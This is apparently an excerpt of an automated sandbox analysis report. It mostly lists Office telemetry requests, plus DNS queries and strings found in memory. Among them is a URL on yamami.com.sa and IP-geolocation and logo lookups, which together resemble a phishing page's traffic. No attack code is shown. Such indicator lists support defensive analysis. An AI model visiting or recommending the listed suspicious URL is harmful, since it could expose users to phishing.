Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net

Source: global traffic	DNS traffic detected: DNS query: www.google.mk
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: x1.i.lencr.org
Source: global traffic	DNS traffic detected: DNS query: xix-i.s3.us-west-2.amazonaws.com
Source: global traffic	DNS traffic detected: DNS query: yamami.com.sa
Source: global traffic	DNS traffic detected: DNS query: api.ipify.org
Source: global traffic	DNS traffic detected: DNS query: logo.clearbit.com
Source: global traffic	DNS traffic detected: DNS query: ipapi.co

Source: 77EC63BDA74BD0D0E0426DC8F80085060.1.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: 2D85F72862B55C4EADD9E66E06947F3D0.1.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: chromecache_188.5.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0/css/all.min.css
Source: chromecache_184.5.dr	String found in binary or memory: https://yamami.com.sa/paper/karoke/index#

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
